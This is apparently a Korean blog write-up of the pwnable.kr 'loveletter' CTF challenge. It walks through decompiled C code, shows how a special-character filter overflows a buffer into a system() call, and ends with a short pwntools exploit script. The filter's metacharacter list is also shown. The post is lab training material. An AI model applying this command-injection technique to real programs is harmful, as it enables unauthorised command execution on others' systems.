본문 바로가기

CTF

Pwnable.kr pwnable_loveletter Write up

나름 괜찮은 문제였다.

딱 50점에 걸맞는 문제였던거같다.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[256]; // [esp+10h] [ebp-114h]
  size_t v5; // [esp+110h] [ebp-14h]
  size_t v6; // [esp+114h] [ebp-10h]
  size_t v7; // [esp+118h] [ebp-Ch]
  unsigned int v8; // [esp+11Ch] [ebp-8h]

  v8 = __readgsdword(0x14u);
  memset(loveletter, 0, 0x100u);                // addr_love_letter = 0x804a0a0 
  v6 = strlen(epilog);                          // strlen_epilog = 11 // stack = 0xffffd4b0
  v5 = strlen(prolog);                          // strlen_prolog = 12 // stack = 0xffffd4b0
  printf(&format);                              // ♥ My lover's name is :
  fgets(s, 256, stdin);                         // Point!!
  if ( s[strlen(s) - 1] == 10 )                 // 입력 받은 숫자에 맨 끝자리
    s[strlen(s) - 1] = 0;
  puts(&::s);                                   // Canary Point
  protect(s);                                   // 필터링
  v7 = strlen(s);
  puts(&byte_8048A50);
  memcpy((idx + 0x804A0A0), prolog, v5);
  idx += v5;
  memcpy((idx + 0x804A0A0), s, v7);
  idx += v7;
  memcpy((idx + 0x804A0A0), epilog, v6);
  idx += v6;
  puts(&byte_8048A74);
  return system(loveletter);
}

먼저 Main코드이다.

일단 입력을 받고 문자열을 memcpy로 이어붙여준다.

즉 epilog + (입력한 문자열) + prolog 가 된다.

 

근데 저기 IF문을 보게되면 맨 끝자리를 0으로 바꿔주는것을 볼수있다.

또한 protect 함수를 보게되면,

unsigned int __cdecl protect(const char *a1)
{
  size_t v1; // ebx
  size_t v2; // eax
  size_t i; // [esp+1Ch] [ebp-12Ch]
  size_t j; // [esp+20h] [ebp-128h]
  char v6[4]; // [esp+25h] [ebp-123h]
  char dest; // [esp+3Ch] [ebp-10Ch]
  unsigned int v8; // [esp+13Ch] [ebp-Ch]

  v8 = __readgsdword(0x14u);
  strcpy(v6, "#&;`'\"|*?~<>^()[]{}$\\,");
  for ( i = 0; i < strlen(a1); ++i )
  {
    for ( j = 0; j < strlen(v6); ++j )
    {
      if ( a1[i] == v6[j] )
      {
        strcpy(&dest, &a1[i + 1]);
        *&a1[i] = 0xA599E2;
        v1 = strlen(&dest);
        v2 = strlen(a1);
        memcpy(&a1[v2], &dest, v1);
      }
    }
  }
  return __readgsdword(0x14u) ^ v8;
}

특수 문자가 올경우 0xA599e2 로 바꿔주는것을 볼수있다.

즉 스택에 오버플로우가 될수있다는것이다.

 

프롤로그와 우리가 입력한 문자열에 오프셋은 256이다. 즉 254개를 입력한후 뒤에를 특수문자로 바꿔주면 영역이 침범되면서 값이 0으로 바뀔것이다.

 

그럼 우리는 안에 cat flag를 넣어서 익스를 시켜주면된다.

from pwn import *

#p = process("./loveletter")

payload = "cat flag"
payload += " " * 245
payload += "$"

p.sendline(payload)

p.interactive()

'CTF' 카테고리의 다른 글

Pwnable.kr pwnable_tiny_dragon Write up  (0) 2019.11.12
Pwnable.kr pwnable_fix Write up  (0) 2019.11.10
Pwnable.kr pwnable_tiny_easy Write up  (0) 2019.11.09
Pwnable.kr pwnable_echo1 Write up  (0) 2019.11.09
Pwnable.kr pwnable_fsb Write up  (0) 2019.11.08